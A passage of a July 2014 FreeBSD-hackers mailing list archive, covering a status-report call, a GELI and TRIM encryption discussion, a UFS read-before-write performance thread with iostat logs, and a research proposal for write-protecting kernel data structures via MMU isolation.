X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Jul 2014 10:18:18 -0000 Dear FreeBSD Community, The April to June 2014 Quarterly Status Reports are being prepared shortly. The submission deadline been extended to July 14, 2014, as a call for submissions was not previously sent out due to an oversight. Status report submissions do not have to be very long -- basically they may be about anything that lets people know what is going on around the FreeBSD Project. Submission of reports is not restricted to committers. Anyone who is doing anything interesting and FreeBSD-related can -- and is encouraged to -- write one! The preferred and easiest submission method is to use the XML generator [1] with the results emailed to the status report team at monthly@freebsd.org . There is also an XML template [2] which can be filled out manually and attached if preferred. For the expected content and style, please study our guidelines on how to write a good status report [3]. You can also review the last issue [4] for ideas on writing a good report. We are looking forward to all of your 2014Q2 reports! Thanks, Ed [1] http://www.freebsd.org/cgi/monthly.cgi [2] http://www.freebsd.org/news/status/report-sample.xml [3] http://www.freebsd.org/news/status/howto.html [4] http://www.freebsd.org/news/status/report-2014-01-2014-03.html From owner-freebsd-hackers@FreeBSD.ORG Mon Jul 7 12:29:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9450180B for ; Mon, 7 Jul 2014 12:29:43 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 4D7F22F2B for ; Mon, 7 Jul 2014 12:29:43 +0000 (UTC) Received: from Julian-MBP3.local (ppp121-45-236-203.lns20.per1.internode.on.net [121.45.236.203]) (authenticated bits=0) by vps1.elischer.org (8.14.9/8.14.9) with ESMTP id s67CTWWW046977 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 7 Jul 2014 05:29:35 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53BA92A7.5030908@freebsd.org> Date: Mon, 07 Jul 2014 20:29:27 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Jesse Gooch , freebsd-hackers@freebsd.org Subject: Re: geli+trim support References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> <53B6427D.1010403@gooch.io> <60445.1404461976@critter.freebsd.dk> <53B750C1.8070706@gooch.io> In-Reply-To: <53B750C1.8070706@gooch.io> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Jul 2014 12:29:43 -0000 On 7/5/14, 9:11 AM, Jesse Gooch wrote: > Hi, > > On 04/07/14 01:19 AM, Poul-Henning Kamp wrote: >> In message <53B6427D.1010403@gooch.io>, Jesse Gooch writes: >> >>> IIRC, TRIM is bad for encryption anyway. You want everything to be >>> random noise, even the empty sectors. TRIM defeats this. >> The problem is that there is nothing you can do. >> >> If you overwrite, your old sector is still unchanged somewhere in flash. >> >> If you TRIM, your old sector is still unchanged somewhere in flash, but >> if you're lucky for slightly less time. > Perhaps I misunderstand TRIM, isn't the point of TRIM that it zeroes out > the sector ahead of time so it doesn't have to re-do it again when it > stores more data in that sector later? hmm, no. 'trim' tells the drive that the sector in question is to be trimmed from the list of sectors with any valid information. On a "flash" drive this tells teh drive that it is free to reassign it to some other use shoudl it need to. This is differnet from "writing zeros to it" which would be a valid sector, full of data (zeros). > >> Doing both just means that you have both the original and the overwritten >> content lingering in flash. >> >> GBDEs scheme with per sector PRNG keys is marginally better than >> GELIs, in that the chances that both the sector and its key survives >> is only 3/4 of the chance that the sector survives. >> >> Without access to and control over the Flash Adaptation Layer, >> encrypting SSDs so they are safe against hardware access is impossible. >> >> For the paranoid: ... and a hostile FTL can make it much harder. >> > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Jul 7 13:52:12 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2D76AF81; Mon, 7 Jul 2014 13:52:12 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9655F27B7; Mon, 7 Jul 2014 13:52:11 +0000 (UTC) Received: from tom.home (kib@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s67DpsIh021439 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Jul 2014 16:51:54 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s67DpsIh021439 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s67DpsdY021438; Mon, 7 Jul 2014 16:51:54 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Mon, 7 Jul 2014 16:51:54 +0300 From: Konstantin Belousov To: Don Lewis Subject: Re: Strange IO performance with UFS Message-ID: <20140707135154.GM93733@kib.kiev.ua> References: <20140705195816.GV93733@kib.kiev.ua> <201407062149.s66LnGnm021769@gw.catspoiler.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="IhaVjqNYhz9BDJmo" Content-Disposition: inline In-Reply-To: <201407062149.s66LnGnm021769@gw.catspoiler.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-fs@FreeBSD.org, sparvu@systemdatarecorder.org, freebsd-hackers@FreeBSD.org, roger.pau@citrix.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Jul 2014 13:52:12 -0000 --IhaVjqNYhz9BDJmo Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Jul 06, 2014 at 02:49:16PM -0700, Don Lewis wrote: > On 5 Jul, Konstantin Belousov wrote: > > On Sat, Jul 05, 2014 at 06:18:07PM +0200, Roger Pau Monn? wrote: > >> On 05/07/14 13:24, Konstantin Belousov wrote: > >> > On Sat, Jul 05, 2014 at 12:35:11PM +0200, Roger Pau Monn? wrote: > >> >> On 05/07/14 11:58, Konstantin Belousov wrote: > >> >>> On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? > >> >>> wrote: > >> >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3=20 > >> >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3=20 > >> >>>> kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a=20 > >> >>>> kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46=20 > >> >>>> kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2=20 > >> >>>> kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166=20 > >> >>>> kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22=20 > >> >>>> kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173=20 > >> >>>> kernel`dofilewrite+0x85 kernel`kern_writev+0x65=20 > >> >>>> kernel`sys_write+0x63 > >> >>>>=20 > >> >>>> This can also be seen by running iostat in parallel with the > >> >>>> fio workload: > >> >>>>=20 > >> >>>> device r/s w/s kr/s kw/s qlen svc_t %b ada0=20 > >> >>>> 243.3 233.7 31053.3 29919.1 31 57.4 100 > >> >>>>=20 > >> >>>> This clearly shows that even when I was doing a sequential > >> >>>> write (the fio workload shown above), the disk was actually > >> >>>> reading more data than writing it, which makes no sense, and > >> >>>> all the reads come from the path trace shown above. > >> >>>=20 > >> >>> The backtrace above means that the BA_CLRBUF was specified for=20 > >> >>> UFS_BALLOC(). In turns, this occurs when the write size is > >> >>> less than the UFS block size. UFS has to read the block to > >> >>> ensure that partial write does not corrupt the rest of the > >> >>> buffer. > >> >>=20 > >> >> Thanks for the clarification, that makes sense. I'm not opening > >> >> the file with O_DIRECT, so shouldn't the write be cached in > >> >> memory and flushed to disk when we have the full block? It's a > >> >> sequential write, so the whole block is going to be rewritten > >> >> very soon. > >> >>=20 > >> >>>=20 > >> >>> You can get the block size for file with stat(2), st_blksize > >> >>> field of the struct stat, or using statfs(2), field f_iosize of > >> >>> struct statfs, or just looking at the dumpfs output for your > >> >>> filesystem, the bsize value. For modern UFS typical value is > >> >>> 32KB. > >> >>=20 > >> >> Yes, block size is 32KB, checked with dumpfs. I've changed the > >> >> block size in fio to 32k and then I get the expected results in > >> >> iostat and fio: > >> >>=20 > >> >> extended device statistics device r/s w/s kr/s kw/s > >> >> qlen svc_t %b ada0 1.0 658.2 31.1 84245.1 58 108.4 > >> >> 101 extended device statistics device r/s w/s kr/s > >> >> kw/s qlen svc_t %b ada0 0.0 689.8 0.0 88291.4 54 > >> >> 112.1 99 extended device statistics device r/s w/s kr/s > >> >> kw/s qlen svc_t %b ada0 1.0 593.3 30.6 75936.9 80 > >> >> 111.7 97 > >> >>=20 > >> >> write: io=3D10240MB, bw=3D81704KB/s, iops=3D2553, runt=3D128339msec > >> >=20 > >> > The current code in ffs_write() only avoids read before write when= =20 > >> > write covers complete block. I think we can somewhat loose the > >> > test to also avoid read when we are at EOF and write covers > >> > completely the valid portion of the last block. > >> >=20 > >> > This leaves the unwritten portion of the block with the garbage. I= =20 > >> > believe that it is not harmful, since the only way for usermode to= =20 > >> > access that garbage is through the mmap(2). The > >> > vnode_generic_getpages() zeroes out parts of the page which are > >> > after EOF. > >> >=20 > >> > Try this, almost completely untested: > >>=20 > >> Doesn't seem to help much, I'm still seeing the same issue. I'm > >> sampling iostat every 1s, and here's the output form the start of the > >> 4k block fio workload: > >>=20 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 349.5 0.0 44612.3 48 88.0 52 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 655.4 0.0 83773.6 76 99.8 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 699.2 0.0 89493.1 59 109.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 628.1 0.0 80392.6 55 114.8 98 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 655.7 0.0 83799.6 79 98.4 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 701.4 0.0 89782.0 80 105.5 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 697.9 0.0 89331.6 78 112.0 103 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 714.1 0.0 91408.7 77 110.3 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 724.0 0.0 92675.0 67 112.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 700.4 0.0 89646.6 49 102.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 686.4 0.0 87857.2 78 110.0 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 702.0 0.0 89851.6 80 112.9 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 736.3 0.0 94246.4 67 110.1 103 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 624.6 0.0 79950.0 48 115.7 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 704.0 0.0 90118.4 77 106.1 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 714.6 0.0 91470.0 80 103.6 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 710.4 0.0 90926.1 80 111.1 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 655.3 0.0 83882.1 70 115.8 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 539.8 0.0 69094.5 80 121.2 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 711.6 0.0 91087.6 79 107.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 705.5 0.0 90304.5 81 111.3 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 727.3 0.0 93092.8 81 108.9 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 699.5 0.0 89296.4 55 109.0 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 689.0 0.0 88066.1 78 96.6 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 738.3 0.0 94496.1 56 109.1 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 615.4 0.0 78770.0 80 112.3 98 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 707.3 0.0 90529.8 86 105.7 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 704.3 0.0 89333.9 67 98.3 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 641.3 0.0 82081.5 80 112.3 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 701.6 0.0 89747.9 51 101.1 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 693.0 0.0 88702.1 80 103.6 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 632.7 0.0 80991.8 80 112.0 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 709.0 0.0 90748.2 80 107.5 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 715.0 0.0 91523.0 80 104.7 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 650.1 0.0 83210.5 56 110.9 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 682.2 0.0 87319.1 57 107.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 719.0 0.0 92032.6 80 103.6 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 624.3 0.0 79905.8 80 110.5 97 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 696.5 0.0 89151.7 80 109.9 103 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 664.2 0.0 85017.6 77 109.9 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 681.7 0.0 87254.0 80 107.5 98 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 668.5 0.0 85569.3 57 109.9 99 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 682.3 0.0 87329.0 53 110.8 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 0.0 643.9 0.0 82420.9 77 104.8 101 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 107.5 457.1 13701.7 58471.3 57 106.0 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 220.9 253.9 28281.4 32498.9 54 108.8 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 290.6 277.9 37198.8 35576.1 65 94.3 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 309.3 267.9 39590.7 34295.9 80 89.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 213.6 302.0 27212.7 38562.0 24 93.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 232.1 224.3 29712.5 28339.8 31 117.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 262.9 249.4 33654.0 31928.1 47 81.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 232.2 229.2 29721.6 29340.5 50 78.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 222.8 229.4 28430.0 29362.7 42 85.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 231.5 246.5 29628.8 31555.9 6 72.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 261.7 256.8 33498.7 32769.1 33 83.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 262.7 260.7 33628.3 33279.4 35 85.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 234.0 249.1 29867.9 31883.1 18 90.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 252.1 239.8 32263.0 30581.4 32 91.2 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 241.5 257.5 30917.0 32961.1 16 69.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 257.9 243.5 33011.9 31164.2 32 86.8 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 237.5 235.6 30311.2 30046.9 31 67.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 290.4 213.1 37172.8 27277.0 79 65.3 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 216.4 284.3 27703.7 36392.5 42 95.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 223.8 248.2 28645.1 31774.4 16 69.4 89 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 294.0 217.7 37544.4 27864.2 64 68.0 110 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 210.7 245.6 26966.6 31439.8 59 107.4 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 228.5 265.2 29246.6 33940.5 10 99.2 98 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 279.1 218.4 35727.2 27955.0 52 71.9 102 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 232.3 293.4 29607.9 37521.4 14 93.2 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 299.5 236.6 38340.2 30288.8 79 69.7 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 216.3 268.9 27686.3 34417.3 4 90.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 285.8 261.0 36585.3 33409.5 53 84.6 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 228.5 232.5 29059.7 29661.1 48 74.3 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 242.7 262.4 31060.0 33588.2 27 69.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 248.2 252.2 31766.1 32149.3 8 78.9 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 267.9 230.2 34288.6 29462.8 62 68.5 100 > >> extended device statistics > >> device r/s w/s kr/s kw/s qlen svc_t %b > >> ada0 238.0 266.2 30375.8 34075.6 0 95.4 100 > >>=20 > >> As can be seen from the log above, at first the workload runs fine, > >> and the disk is only performing writes, but at some point (in this > >> case around 40% of completion) it starts performing this > >> read-before-write dance that completely screws up performance. > >=20 > > I reproduced this locally. I think my patch is useless for the fio/4k = write > > situation. > >=20 > > What happens is indeed related to the amount of the available memory. > > When the size of the file written by fio is larger than the memory, > > system has to recycle the cached pages. So after some moment, doing > > a write has to do read-before-write, and this occurs not at the EOF > > (since fio pre-allocated the job file). >=20 > It would seem to be much better to recycle pages associated parts of the > file that haven't been touched in a long time before recycling pages > associated with the filesystem block that is currently being written. If > the writes are sequential, then it definitely makes sense to hang on to > the block until the last portion of the block is written. It sounds > like we are doing pretty much the opposite of this. Yes, this sounds suspicious. >=20 > What seems odd is that it sounds like we are detecting the partial write > of a block, reading the block from the disk, updating it with the new > partial data, writing the block, and then immediately tossing it. It > seems odd that the the dirty block isn't allowed to stick around until > the syncer causes it to be written, with clean blocks being reclaimed in > the meantime. No, we don't. The amount of read and written bytes in the read-after-write state are equal. We read the whole buffer, then write 8 chunks by 4KB, all using the cached and delayed-write buffer. Would we indeed tossed the buffer after each write, then the read bytes count would be 8 times the write. --IhaVjqNYhz9BDJmo Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTuqX5AAoJEJDCuSvBvK1BxlsP/1iqvd/uelAk/fj6y6Br4cJH r2rC4SSn/+jhLRRmq4rzV913bz5+lf3KNARvnTiGwXmZhKr0U8AE98N+LN5F9Iba rJj6iPtIiuhd9EYGKHb19CC84bME70kQ0mrQ+cER0sd2SLRCGtEsIupfiEJ71Gp1 TcMTNnQ2qI50Ri8NTN/7vi0IMwZo5XPYGTX61KBxE17XYCMghQttz+pqoAd7JY7Q G/VlANlF5VTetcRGUSJ+6+v9J1QSRXTL8pN9oynmaqu+4A5vKBDppNys237Xe9Fg cGhg7K8zGgDl9MdMal8d0sLbtfmHNzvTKktUFdsvLonBiC+EOdiOzGo3tfV2Nc5r CjoU/lLPPo80RTCAo8xFaALqFuqjeSgmSDHnO2TsVSm6u7HScp3BfdXPwpIJWsbp xDcDkuzvH5f6/FkXM5nD0FznyVCwPN5H6VTID45fN0BWhH7+YMklDGyRFsAZHUNN 3e8Ye7QjMEVqSRG2m5dkoXwt34f213xiqz87r/KZh8s4RZVed7SHNsMoW5l5LTCf dDE0CjpUuaY9+xBl5pS9EFj4qctkVgI01UJ/BKy/3fubSkPfaV4CuE7BTXKCyr6q MIA9Xlr5XDkYq/dOUmI3IC6rqdGMTwIHQPGFbNkSTKyVvmLVjCUBtljSS26XCix8 tICaW7erKfH//jPOGhp+ =WJNK -----END PGP SIGNATURE----- --IhaVjqNYhz9BDJmo-- From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 8 11:45:16 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D2261F9A; Tue, 8 Jul 2014 11:45:16 +0000 (UTC) Received: from trypticon.cs.illinois.edu (trypticon.cs.illinois.edu [128.174.237.181]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A7BB9293A; Tue, 8 Jul 2014 11:45:16 +0000 (UTC) Received: from trypticon.cs.illinois.edu (localhost [127.0.0.1]) by trypticon.cs.illinois.edu (8.14.4/8.14.4/Debian-2.1ubuntu2) with ESMTP id s68Bj8wW034371; Tue, 8 Jul 2014 06:45:08 -0500 Received: (from dautenh1@localhost) by trypticon.cs.illinois.edu (8.14.4/8.14.4/Submit) id s68Bj7Hs034361; Tue, 8 Jul 2014 06:45:07 -0500 Date: Tue, 8 Jul 2014 06:45:07 -0500 From: Nathan Dautenhahn To: George Neville-Neil Subject: Re: Kernel Privilege Separation Policy Message-ID: <20140708114506.GA20687@trypticon.cs.illinois.edu> References: <100A360A-DF5E-46D5-83F0-BCAE672D1D6C@illinois.edu> <53B5ADBE.1020905@freebsd.org> <20140704204630.GC16358@trypticon.cs.illinois.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Cc: "hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Jul 2014 11:45:16 -0000 On Sat, Jul 05, 2014 at 12:24:31PM -0400, George Neville-Neil wrote: > On 4 Jul 2014, at 16:46, Nathan Dautenhahn wrote: > > >On Fri, Jul 04, 2014 at 10:27:57AM -0400, George Neville-Neil wrote: > >>On 3 Jul 2014, at 15:23, Julian Elischer wrote: > >> > >>>On 7/2/14, 10:52 PM, Dautenhahn, Nathan Daniel wrote: > >>>>Hi All- > >>>> > >>>>I am a graduate student at UIUC and am currently working on a > >>>>system that > >>>>isolates the MMU from the rest of the FreeBSD kernel. For the > >>>>purpose of > >>>>enabling privilege separtion within the kernel. > >>>> > >>>> > >>>[...] > >>> > >>>it does sound interesting.. I think the dearth of answers is that > >>>everyone is waiting for someone-else to answer, because the topic > >>>sounds a bit intimidating, > >> > >>I also think we'd be interested in seeing the code itself, and what > >>APIs it exposes. > >>That would probably focus thinking on what can be done with it. > > > >Hi George- > > > >I will start working on getting the code available for view on a > >github > >repository. It is currently in a research prototype state, but > >moving it into a > >more production level is a goal. > > That sounds great and will definitely help. > > >The base system effectively splits the kernel into two privilege > >levels: 1) a > >very small component that mediates access to the MMU to enforce > >system wide > >memory access policies, and 2) the lower privilege part of the kernel. > > > >The initial set of policies that I'm investigating are write > >protect policies > >within the kernel itself (we can do read protect too). In other > >words place > >specific data structures into the secure region (thus protected > >from the rest > >of the kernel), and then mediate write access through a > >*write_secure_data()* > >interface by some to be determined policy. > > > >Effectively the type of interface I have is: > >- Some data structure allocated to write protected pages > >- A mediation policy for that data structure -- set of checks the > >write must > > pass > >- A write_ function for such data structures > > > > How small a region can you target? A whole structure? A field? Currently the implementation works at page granularity in terms of detecting a write to a particular memory object. Therefore, any protected data structure needs to be allocated on a secured page. So the protection region is fairly course grained. The challenge here is identifying the particular object that a write is targeting. The current implementation can detect a write to a page, and given the processor state, the exact line (virtual address) of the page being written (I haven't built this piece yet so I don't know what state gives the address to be written but I assume it is in the HW state somewher). I see that there are two directions to go for this. 1) Allow some type of static annotation to label a data structure for recording and fire a secure handler on writes -- I currently don't have any idea on how to acheive this given the granularity of write protection. 2) Enable a runtime specifier to identify the virtual address and range to watch along with an associated event handler. This would allow the developer to effectively target any sized memory region -- providing either structure, array of structs, field granularity. The latter sounds vaguely like debugging watch points. I'm not too familiar with how debuggers do this type of work. > > The more I think about it the more I think that there are two possible > interesting applications. > > 1) Debugging > > Can a pre-allocated region be moved or adjusted in such a way that, > say, under > debugger control, you could say, "Do X if anyone touches region Y?" I think this could be achieved with (2) from above. Very cool idea! > > 2) Run time protection > > Track every change to, say, the proc structure or perhaps the > routing table > etc. > > Do you have an example of code of how you use this now? I am currently applying this idea to protecting system call sysent data structures --- effectively stopping syscall hooking by protecting the function pointers. Once I get it working I will make it available on GitHub for perusing. These structures (sysent structures) are intriguing because they also have a fields to identify an audit handler. It might give a template for your suggestion here. I also plan on protecting the proc structure so that either 1) any mods are denied by some yet to be defined policy or 2) mods are allowed but will be recorded in an immutable log. > > >I am not well versed in how to translate this to the "interface" > >you asked for, > >but the basic idea is to apply some type of access policy to > >critical data > >structures to improve the security of the system. > > > >Another example benefit or application of such a *write_protect* > >mechanism is > >that even if the *write_secure_data* function does not include an > >access > >control policy, the data structures being protected will not be > >subject to > >memory corruption in the insecure kernel. For example, the UMA > >allocator > >vulnerability mentioned on Phrack [1] could be defended by > >write_protecting the > >critical allocator metadata (slab header). > > Yes, 